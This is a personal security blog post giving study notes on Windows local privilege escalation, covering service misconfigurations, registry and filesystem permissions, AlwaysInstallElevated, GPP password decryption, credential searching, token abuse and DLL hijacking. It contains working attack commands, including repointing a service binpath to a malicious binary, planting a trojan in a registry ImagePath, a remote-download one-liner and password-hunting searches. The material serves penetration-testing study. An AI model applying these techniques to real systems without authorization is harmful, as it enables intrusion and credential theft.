Notes on Windows Privilege Escalation

Jul 29, 2018

Hello friends!

Here are my notes so far on the study of Windows privilege escalation.

The world of Windows priv esc is a broad one. There is only so much that can be covered in a single post. This is a basic guide meant to cover the “essentials.” I’m writing this to coalesce my notes, and in the hope that it will provide a helpful reference for others.

This guide touches upon the following subjects:

- Windows command line reference
- Local privilege escalation exploits
- Service vulnerabilities
- Windows Registry
- Insecure filesystem permissions
- AlwaysInstallElevated
- Credential harvesting
- Exploiting token privileges
- DLL highjacking
- Automated tools and frameworks

Let’s get started.

Command Reference

Here are some essential Windows commands to know:

Command	Description
systeminfo	Prints system information
whoami	Get current username
whoami /priv	Privileges associated with your account

Command	Description
ipconfig	Network configuration
ipconfig /displaydns	Shows DNS cache
netsh route print	Print routing table
arp -a	Print ARP table
hostname	Current host's name
net users	List users on the host
net user UserName	Get info about a user
net use	Show connected drives
net use \\SMBPATH Pa$$w0rd /u:UserName	Connect to SMB path with credentials UserName:Pa$$w0rd
net localgroup	List groups on the system
net localgroup GROUP	Show info about group called "GROUP"
net view \\127.0.0.1	Sessions opened to the current machine
net session	Sessions opened to other machines
netsh firewall show config	Show the firewall configuration
DRIVERQUERY	List installed drivers
tasklist /svc	List service tasks
net start	List service to be started

Command	Description
dir /s *foo*	Search the directory for items containing “foo”
dir /s *foo* == *bar*	Find items containing “foo” or “bar”
sc query	List services
sc qc ServiceName	Find the path of a service called “ServiceName”
shutdown /r /t 0	Reboot the system in 0 seconds
type file.txt	Print out the contents of file.txt
icacls “C:\Example”	Print permissions for “Example” directory
wmic qfe get Caption,Description,HotFixID,InstalledOn	List installed patches
(New-Object System.Net.WebClient).DownloadFile(“http://host/file”,”C:\LocalPath”)	PowerShell one-liner download a remote file to LocalPath
accesschk.exe -qwsu “Group”	Objects modifyable by “Group” (try “Everyone”, “Authenticated Users”, and/or “Users”)

This should help provide a good starting point, but also see the Windows command line reference:

- Windows Command Line Reference (Official)
- An A-Z Index of Windows CMD
- SANS Windows Command Line Cheat Sheet

And be sure to check out the various Windows scripting language references:

- WMIC
- PowerShell

Exploits

Windows has definitely had its share of kernel exploits over the years, and there is no shortage of local privilege escalation exploits for the various versions. In fact, there were literally too many to list in this guide.

For some relevant lists of Windows exploits, refer to the below resources:

- Windows Kernel Exploits (SecWiki)
- Windows Local Exploits (Exploit-DB).
- Windows Exploits (PentestLab)

Be sure to check the system's patch level to determine whether it's exploitable. A good test is to check the date of the most recent patch on the system. If it's older than the exploit, the system is probably vulnerable. Be sure to look up the relevant hotfix for the exploit and see if it is installed. Also remember that exploiting a kernel vulnerability may affect the system's stability! Take care before you go crashing a production system. It's always good to explore other potential vectors first.

Service Misconfigurations

Exploiting misconfigured services is a fairly common way to escalate privileges. This section will look at a few ways in which Windows services can be exploited.

Unquoted Service Paths

When a system administrator configures a Windows service, they must specify a command for it to execute, or the path to an executable for it to run.

When the Windows service runs, one of two things happen. If an executable is given, and full path is quoted, the system interprets it literally and executes the precisely-described object. However, if the service's binary path is not wrapped in quotation marks, the operating system executes the first instance of a piece of the space-delimited service path that it finds.

This can be a little unintuitive at first, so let's examine a practical example. Assume that a service is configured like the following vulnerable example service:

```
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
```

The Windows command interpreter can struggle with spaces in names, and prefers them to be escaped by wrapping the string in quotation marks. In the above example, if the system ran the service, it would try to run following executables:

1. C:\Program.exe

2. C:\Program Files\Vulnerable.exe
3. C:\Program Files\Vulnerable Service\Sub.exe
4. C:\Program Files\Vulnerable Service\Sub Directory\service.exe

To illustrate this vulnerability, consider a program called “example.exe,” a benign binary that simply prints out its own name:

```
#include <stdio.h>

void main(int argc, char *argv[])
{
    printf("[*] Executed %s\n", argv[0]);
}
```

Consider what happens when this program is executed from the command line via its absolute path, both within quotation marks, and without them:

```
C:\>"C:\Example\Sub Directory\example.exe"
[*] Executed C:\Example\Sub Directory\example.exe

C:\>
```

Compared to trying to execute it without quotation marks:

```
C:\>C:\Example\Sub Directory\example.exe
'C:\Example\Sub' is not recognized as an internal or external command, opera

C:\>
```

What that means is that if the service path is unquoted, we can place a malicious binary with the same name as the first name as the filesystem object with a space in it’s name, and it will be run when the service tries to execute its binary. All we need is write permission to a directory in the path.

Cosider “exploiting” the above example by hiding a copy of example.exe as `C:\Example\Sub.exe` and calling the above example without spaces, as in the case of a vulnerable service:

```
C:\>C:\Example\Sub Directory\example.exe
[*] Executed C:\Example\Sub

C:\>
```

Here is a WMIC one-liner to find these misconfigurations:

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |fir
```

Insecure Service Permissions

Even if a service path is properly quoted, other vulnerabilities may be present. A user may have excessive permissions over a service due to an administrative misconfiguration, for example the ability to modify it outright.

The AccessChk tool can be used to find services that a user can modify:

```
C:\Users\user\Desktop>accesschk.exe -uwcqv "user" *
accesschk.exe -uwcqv "user" *

Accesschk v6.02 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

RW Vulnerable Service
 SERVICE_ALL_ACCESS

C:\Users\user\Desktop>
```

Services can also be queried using the `sc qc` command:

```
C:\Users\user\Desktop>sc qc "Service"
sc qc "Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Program Folder\Subfolder
        LOAD_ORDER_GROUP   : UIGroup
        TAG                : 0
        DISPLAY_NAME       : Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user\Desktop>
```

Finally, information about services can be found in the `HKLM\SYSTEM\CurrentControlSet\Services` registry key. See also the section of this guide on the Windows Registry.

If a service's BINPATH can be modified, it can be exploited:

```
C:\Users\user\Desktop>sc config "Vulnerable" binpath="C:\malicious.exe"
sc config "Vulnerable" binpath="C:\malicious.exe"
[SC] ChangeServiceConfig SUCCESS
```

```
C:\Users\user\Desktop>
```

After it has been modified, the service has to be restared in order to execute the binary. It may be possible to simply restart the service manually. First stop it:

```
C:\Users\user\Desktop>sc stop "Vulnerable"
sc stop "Vulnerable"

SERVICE_NAME: Vulnerable
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
```

Then start it:

```
C:\Users\user\Desktop>sc start "Vulnerable"
```

This may fail as a low-privileged user:

```
C:\Users\user\Desktop>sc stop "ServiceName"
sc stop "ServiceName"
[SC] OpenService FAILED 5:

Access is denied.


C:\Users\user\Desktop>
```

To force the restart, the system can be rebooted, or an administrator could restart it, either by being made to do so through social engineering, or natural administrative action.

The service may also throw an error message when started:

```
C:\Users\user\Desktop>sc start "ServiceName"
sc start "ServiceName"
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fash


C:\Users\user\Destkop>
```

When Windows executes services, they are expected to communicate with the Windows Service Control Manager. If they don't, the SCM kills the process. This obstacle can be overcome by using a payload that performs auto-migration to a new process, by manually migrating the process, or by setting the service's binpath back to the original service binary after execution.

The Registry

Here are some ways of identifying vulnerabilities through the registry.

The registry is comprised of a series of "hives," or collections of configurations. They are broken down in the following manner:

- `HKEY_CLASSES_ROOT` - default applications for filetypes
- `HKEY_CURRENT_USER` - profile for the current user
- `HKEY_LOCAL_MACHINE` - system configuration information
- `HKEY_USERS` - system users profiles
- `HKEY_CURRENT_CONFIG` - system startup hardware profile

The registry can be called from the command line or interacted with using the GUI tool Regedit

The SubInACL tool is helpful to check registry keys, but it must be deployed as an .msi. If the system is not also misconfigured with AlwaysInstallElevated .msi cannot be installed with higher privileges by a low-privileged user. (See the section on vulnerable administrative configurations for more information on AlwaysInstallElevated.)

For example, to use SubInACL to query for vulnerable services:

```
C:\Users\user\Desktop>subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\Curren
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\V
SeSecurityPrivilege : Access is denied.

WARNING :Unable to set SeSecurityPrivilege privilege. This privilege may be

================================================================================
+KeyReg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Service
================================================================================
/control=0x400 SE_DACL_AUTO_INHERITED-0x0400
/owner             =builtin\administrators
/primary group     =system
/perm. ace count   =10
/pace =everyone          ACCESS_ALLOWED_ACE_TYPE-0x0
  CONTAINER_INHERIT_ACE-0x2
    Key and SubKey - Type of Access:
  Full Control
    Detailed Access Flags :
  KEY_QUERY_VALUE-0x1        KEY_SET_VALUE-0x2          KEY_CREATE_SUB_KEY-0
  KEY_ENUMERATE_SUB_KEYS-0x8 KEY_NOTIFY-0x10            KEY_CREATE_LINK-0x20
```

```
  READ_CONTROL-0x20000        WRITE_DAC-0x40000        WRITE_OWNER-0x80000

C:\Users\user\Desktop>
```

In the above example, `everyone` is given `full control`.

The registry can also be queried with the AccessChk tool.

Once a vulnerable configuration is discovered, a trojan can be placed into the service's ImagePath.

```
C:\Users\user\Desktop>reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Servi
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service
The operation completed successfully.

C:\Users\user\Desktop>
```

As in other situations, the service must be restarted to run the trojan.

Even if all services on the system are airtight, other vulnerabilities may arise from the registry. There may be credentials or other juicy information saved, or configurations could be tweaked. Additionally, the "reg" command can also be used to save registry hives locally for hash cracking, SAM file extraction, and static analysis with tools like RegRipper.

Insecure File System Permissions

Administrators often configure liberal permissions for certain paths in order to avoid potential access errors. This can provide an easy avenue to exploitation, so it is key to consider the filesystem permissions associated with services and service binaries.

In the case of misconfigured Windows services, there may be situations where a service executable's path is fully quoted and service permissions locked down, but the actual binary itself is not secured.

For example:

```
C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program
icacls "C:\Program Files (x86)\Program\Service Folder"
C:\Program Files (x86)\Program\Service Folder Everyone:(OI)(CI)(F)
                                               Everyone:(I)(OI)(CI)(F)
                                               NT SERVICE\TrustedInstalle
                                               NT SERVICE\TrustedInstalle
                                               NT AUTHORITY\SYSTEM:(I)(F)
                                               NT AUTHORITY\SYSTEM:(I)(OI
                                               BUILTIN\Administrators:(I)
                                               BUILTIN\Administrators:(I)
                                               BUILTIN\Users:(I)(RX)
                                               BUILTIN\Users:(I)(OI)(CI)(
                                               CREATOR OWNER:(I)(OI)(CI)(
```

```
                                                    APPLICATION PACKAGE AUTHOR
                                                    APPLICATION PACKAGE AUTHOR

Successfully processed 1 files; Failed processing 0 files

C:\Program Files (x86)\Program Folder>
```

In the above example, "Everyone" has full control (F) of the path.

Filesystem permissions can also be investigated with the AccessChk tool.

Directories for software installed in the root C:\ directory are writable by all authenticated users by default. For example, the directories for scripting languages like Ruby, Perl and Python, or remote management tools like Landesk or Marimba. Directories created after system install are often writable as well. The writable directory in the C:\ root may be in an application's path, meaning items such as binaries or .dll's can be injected into its path too.

AlwaysInstallElevated

"AlwaysInstallElevated" is a setting that allows non-administrative users to run Microsoft Windows installer packages (.MSI files) with SYSTEM privileges. This setting is disabled by default, and the system's administrator must explicitly enable it.

This setting can be identified by querying the following registry keys:

- [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
- [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001

For example by using the `reg query` command:

```
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysI
```

Or:

```
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysI
```

The above will output the following if the vulnerability is present:

```
C:\Users\user\Desktop>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Ins
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstal

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

C:\Users\user\Desktop>
```

Or it will output an error if the system is **not** vulnerable:

```
C:\Users\user\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Ins
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstal
ERROR: The system was unable to find the specified registry key or value.

C:\Users\user\Desktop>
```

If the system is configured with AlwaysInstallElevated, it can be exploited to escalate privileges.

A malicious .msi file can be created using msfvenom. Choose a desired payload and set use the `-f msi` flag to set the output format to MSI.

Then the payload can be executed on the vulnerable system using msiexec.

Group Policy Preferences Vulnerabilities

Group Policy Preferences (GPP) were released with Server 2008 policy-based configuration of machines attached to a domain.

Client machines periodically reach out to the domain controller using the account credentials of the currently-logged-on user to authenticate and then pull down configuration policies.

These can be used for things like software deployment, configuring startup scripts, mapping network shares, configuring registry hives, configuring printers, managing security permissions, and so on. The also have the ability to configure the password for the local administrator account.

These policy files are stored on the domain controller's "SYSVOL" share in a series of .xml files.

The path will usually be something like:

```
\\REMOTE_HOST\SYSVOL\REMOTE_HOST\Policies\{POLICY_ID}\Machine\Preferences\
```

The following configuration files may be present:

- `Services\Services.xml`
- `ScheduledTasks\ScheduledTasks.xml`
- `Printers\Printers.xml`
- `Drives\Drives.xml`
- `DataSources\DataSources.xml`

These configuration files may contain configuration option called "cpassword" used to configure a password for an account. These passwords are "encrypted" using a well-known 32-byte AES key:

```
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
```

This vulnerability was addressed with MS14-025, however this patch only prevents new policies from being created, and any legacy GPPs containing credentials are still vulnerable.

Cracking the password gives access to the local administrator account of the computer using that configuration, which can be done with the "gpp-decrypt" command in Kali:

```
root@kali:~# gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Local*P4ssword!
```

Credential Harvesting

There are a few places passwords may be found on the host:

- unattend.xml
- GPP .xml files as described above
- sysprep.inf
- sysprep.xml
- other various configuration files
- logfiles
- Registry keys
- files like "my_passwords.txt" "my_passwords.xls" and so on

The filesystem can also be searched for common sensistive files.

```
C:\Users\user\Desktop> dir C:\*vnc.ini /s /b /c
```

Or items with select words in their name:

```
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
```

Or file contents may be searched for keywords like "password":

```
C:\Users\user\Desktop>findstr /si password \*.txt | \*.xml | \*.ini
```

The registry can be queried, for example, for the string "password":

```
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

System administrators may have configuration files containing credentials. The "unattend.xml" file is used for automated software deployment, and contains plaintext (base64 encoded) credentials. Additionally, some users have been known to save their passwords in plaintext files out of convenience or disregard for security.

Token Privileges

An Access Token is an object that describes the security context of a process.

It's possible to abuse these tokens on the following systems:

- Microsoft Windows XP Professional SP3 and prior
- Windows Server 2003 SP2 and prior
- Windows Server 2003 x64 and x64 SP2
- Windows Server 2003 for Itanium-based systems SP2 and prior
- Windows Server 2008
- Windows Server 2008 x64
- Windows Server 2008 for Itanium-based systems
- Windows Vista SP1 and prior
- Windows Vista x64 SP1 and prior

There are a number of exploitable token privileges associated with accounts:

- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege

To see permissions associated with the current account use `whoami /priv`.

These are permissions that may be associated with an account that fundamentally mean the user is able to take actions that cause the operating system to behave in an exploitable way.

If their account has the necessary privileges, an attacker can call the Microsoft Distributed Transaction Coordinator (MSDTC) service to perform certain actions.

It requests elevated privileges when making remote procedure calls, and calling it thereby generates a privileged security token in order to perform a privileged action. The vulnerability emerges when the system allows these tokens to be used not only be the process itself, but also by the original requesting process.

There are some accounts that are more likely to have these, and there are a number of ways that they may be exploited. For example:

- Gaining access to the service account used for system backups, and forcing NTLM negotiation with an SMB share running responder.py
- Exploiting a web service and gaining access to an account that can execute SQL queries and `XP_CMDSHELL`
- "Kerberoast" attacks, or getting a Kerberos ticket from the domain controller and cracking it offline
- Executing ASP.NET code on a system with IIS configured in full trust mode

- Being able to provide code to ISAPI filters or extensions
- Discovery of other service account credential leaks

Taking advantages of token privileges is a technique is used by many privilege escalation exploits such as many tools in Metasploit, as well as DirtyPotato et al. This is a developing area of exploit development, and worth researching further. For more information on this, see here.

DLL Highjacking

Dynamic link libraries (DLLs) provide much of the functionality on an operating system by providing executable code modules shared across the system. A vulnerability arises when a process's developer did not specify a fully-qualified absolute path for the DLL, or when it isn't present on the system.

When a process calls a DLL, it looks for it in the following order:

1. The directory from which the application loaded (eg. DLLs referred to by relative path)
2. 32-bit System directory (C:\Windows\System32)
3. 16-bit System directory (C:\Windows\System)
4. Windows directory (C:\Windows)
5. The current working directory (CWD)
6. Directories in the PATH environment variable (system path, then user path)

It executes the first instance of the .dll that it finds.

Firstly, there are a few ways to identify vulnerable processes.

The Process Monitor tool can be used to watch processes, and search and filter their activity for vulnerable DLL calls. The registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\ServiceName\Parameters` can be queried to see which service DLLs the service runs, or the binary can be loaded into IDA and searched for a "loadlibrary" library call. Also be sure to check the DLL calls of the DLLs themselves!

Once a vulnerable DLL call is found, the filesystem must be checked for that DLL:

```
C:\> dir vulnerable.dll /s
```

Also be aware that just because it can't be found doesn't mean it doesn't exist. It may just be in a directory the current user account can't view.

Finally, to execute a DLL highjack a trojaned .dll will need to be written somewhere higher in the directory hierarchy, over the original .dll itself, into the CWD, or into a directory in the PATH.

The "PATH" is an environment variable that defines where the command interpreter should look for executables when commands are issued. Modifying the PATH, and writing .dll's into directories in the PATH, allows DLL highjacking to take place with the process searches the PATH for the .dll file.

To modify the PATH for example:

```
C:\Users\user\Desktop>set PATH=%PATH%;C:\Python27
```

This would allow executables and DLLs to be loaded via the path from the C:\Python27 directory, which is writable by any authenticated user by default.

Some Windows services known to have DLL highjacking vulnerabilities are:

- IKE and AuthIP IPsec Keying Modules (IKEEXT): wlbsctrl.dll
- Windows Media Center Receiver Service (ehRecvr): ehETW.dll
- Windows Media Center Scheduler Service (ehSched): ehETW.dll
- Automatic Updates (wuauserv): ifsproxy.dll
- Remote Desktop Help Session Manager (RDSessMgr): SalemHook.dll
- Remote Access Connection Manager (RasMan): ipbootp.dll
- Windows Management Instrumentation (winmgmt): wbemcore.dll
- Audio Service (STacSV): SFFXComm.dll SFCOM.DLL
- Intel Rapid Storage Technology (IAStorDataMgrSvc): DriverSim.dll
- Juniper Unified Network Service (JuniperAccessService): dsLogService.dll
- Encase Enterprise Agent: SDDisk.dll

Additional services known to have dll highjacking vulnerabilities can be found here

Tools and Frameworks

Luckily there are a number of tools and frameworks out there to make exploitation and escalation easier:

- Metasploit
- Sherlock
- windows-privesc-check
- Windows-Exploit-Suggester
- PowerUp, now part of PowerSploit
- Nishang

Many of these tools will help you by automatically identifying exploitable misconfigurations or by checking the system patch level against common known exploits. But they aren't 100% effective, so beware of false positives / false negatives!

Final Thoughts

Thanks for reading, I hope you've found this guide useful. (And I hope you've gotten that SYSTEM shell!) Feel free to let me know if there's a great technique that you think should have been included.

I will be publishing some interesting research in the coming months, but I'm afraid I can't go into any more detail than that at this point, so stay tuned! ;)

Yours,

EOF

References

Tremendous gratitude and respect goes out to all the authors whose work I drew upon to write this guide. It's definitely worth checking out the source material here if you're interested in gaining a deeper understanding of the subjects discussed:

- *Windows Privilege Escalation Fundamentals*

https://www.fuzzysecurity.com/tutorials/16.html

- *Windows Privilege Escalation Part 1: Local Administrator Privileges*

https://blog.netspi.com/windows-privilege-escalation-part-1-local-administrator-privileges/

- *Windows Privilege Escalation Methods for Pentesters*

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

- *"Well, That Escalated Quickly" Common Windows Privilege Escalation Vectors*

https://toshellandback.com/2015/11/24/ms-priv-esc/

- *Automating Windows Privilege Escalation*

http://resources.infosecinstitute.com/automating-windows-privilege-escalation/

- *Extreme Privilege Escalation on Windows 8*

https://www.blackhat.com/docs/us-14/materials/us-14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-Systems.pdf

- *Abusing Token Privileges for Windows Local Privilege Escalation*

https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/

- *Microsoft Windows Token Kidnapping Privilege Escalation Vulnerability*

https://tools.cisco.com/security/center/viewAlert.x?alertId=15702

- *What You Know About GPP?*

https://www.toshellandback.com/2015/08/30/gpp/

- *Privelege Escalation in Windows OS*

http://www.cs.toronto.edu/~arnold/427/15s/csc427/indepth/privilege-escalation/privilege-escalation-windows.pdf

- *Abusing Token Privileges for EOP*

https://github.com/hatRiot/token-priv

- *Elevating Privileges by Exploiting Weak Folder Permissions*

http://www.greyhathacker.net/?p=738

- *Metasploit Unleashed: Privilege Escalation*

https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

- *Bits Manipulation: Stealing SYSTEM Tokens as a Normal User*

https://zerosum0x0.blogspot.nl/2016/02/bits-manipulation-stealing-system.html

- *Unquoted Service Paths*

https://www.commonexploits.com/unquoted-service-paths/

- *Privilege Escalation in Windows*

https://codemuch.tech/2017/05/14/priv-esc-win.html

- *SysInternals AccessChk Tool*

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

- *AccessChk.exe Usage Guide*

https://blogs.technet.microsoft.com/secguide/2008/07/21/how-to-use-accesschk-exe-for-security-compliance-management/

- SubInACL.exe Download

https://www.microsoft.com/en-us/download/details.aspx?id=23510

- *What happens when I type getsystem*

https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

- *Dynamic-Link Library Search Order*

https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx

- Process Monitor Download

https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

- *Dynamic Link Library Security*

https://msdn.microsoft.com/en-us/library/windows/desktop/ff919712(v=vs.85).aspx

- Windows File and Folder Permissions Guide

https://msdn.microsoft.com/en-us/library/bb727008.aspx

- SECWIKI

https://github.com/SecWiki

- *Acess Tokens*

https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx

- *How Access Tokens Work*

https://technet.microsoft.com/en-us/library/cc783557(v=ws.10).aspx

- *Windows REG Reference*

https://ss64.com/nt/reg.html

- *Windows CMD Reference*

https://ss64.com/nt/

- *How to Use Regedit*

https://www.techsupportalert.com/content/learn-how-use-windows-registry-editor-regedit-one-easy-lesson.htm

- *Invoke-WCMDump*

https://securityonline.info/invoke-wcmdump-dump-windows-credentials-from-the-credential-manager/

- *WMIC Command Reference*

https://www.computerhope.com/wmic.htm

- *PowerShell Reference*

https://ss64.com/ps/

- *Penetration Testing Ninjitsu with Ed*

http://carnal0wnage.blogspot.com/2008/02/penetration-testing-ninjitsu-with-ed.html

- *DLL Highjacking Vulnerable Applications*

https://www.exploit-db.com/dll-hijacking-vulnerable-applications/

- *Windows/Linux Local Privilege Escalation Workshop*

https://github.com/sagishahar/lpeworkshop

- *How to own any Windows network with group policy hijacking attacks*

https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/

- *Pentesting in the Real World: Group Policy Pwnage*

https://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/

- *Windows Kernel Exploits*

https://pentestlab.blog/2017/04/24/windows-kernel-exploits/

Memory Corruption

Memory Corruption
eof@memorycorruption.org

0xEOF

The chronicles of one person's adventures through the world of information security.